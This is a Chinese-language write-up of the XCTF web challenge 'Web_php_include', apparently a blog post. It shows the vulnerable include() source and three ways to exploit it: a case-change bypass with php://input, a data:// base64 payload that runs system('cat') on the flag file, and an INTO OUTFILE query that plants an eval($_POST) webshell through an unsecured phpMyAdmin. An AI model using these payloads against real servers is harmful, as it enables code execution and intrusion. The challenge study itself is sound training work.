• php include文件包含


    XCTF题目:Web_php_include

    <?php
    show_source(__FILE__);//高亮显示源文件
    echo $_GET['hello'];
    $page=$_GET['page']; //获取表单‘page’的值
    while (strstr($page, "php://")) {  
        $page=str_replace("php://", "", $page);
    }
    include($page);//include()函数用于将函数内调用的文件内的所有内容(文本)复制到调用它的文件中;
    ?>
    
    
    //strstr($page, "php://") 中如果page的值中没有出现"php://",那么不进入循环(循环的意思是将page中含有"php://"的替换为空格)

    第一种方法:

    关于str_repalce函数的绕过:这个函数是区分大小写的,所以只要使用大写就能绕过

    接着使用PHP://input配合post来传递恶意代码

    得知flag文件后读取文件即可得到flag

    第二种方法(data://伪协议执行命令利用)

    既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议

    data://伪协议

    php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

    使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

    <?php system("cat fl4gisisish3r3.php")?>

    第三种方法(数据库写入马)

    御剑扫描获得phpmyadmin root 密码空 进入

    数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

    SHOW VARIABLES LIKE "secure_file_priv"

    linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

    SELECT "<?php eval(@$_POST['xiaohua']); ?>"
    INTO OUTFILE '/tmp/test1.php'

    参考:https://www.cnblogs.com/xhds/p/12218471.html

  • 相关阅读:
    用opengl实现多个视口
    齐次坐标和矩阵变换
    关于透明和不透明排序问题
    PlaneBoundedVolumeList平面体积查询
    jQuery获取元素
    关于借助prototype进行分页的一个小插件
    浏览器解析状态
    关于获取元素进行动画效果的问题以及简单的正则表达式验证
    php简单分页类
    生产者消费者问题
  • 原文地址:https://www.cnblogs.com/luocodes/p/13816728.html
Copyright © 2020-2023  润新知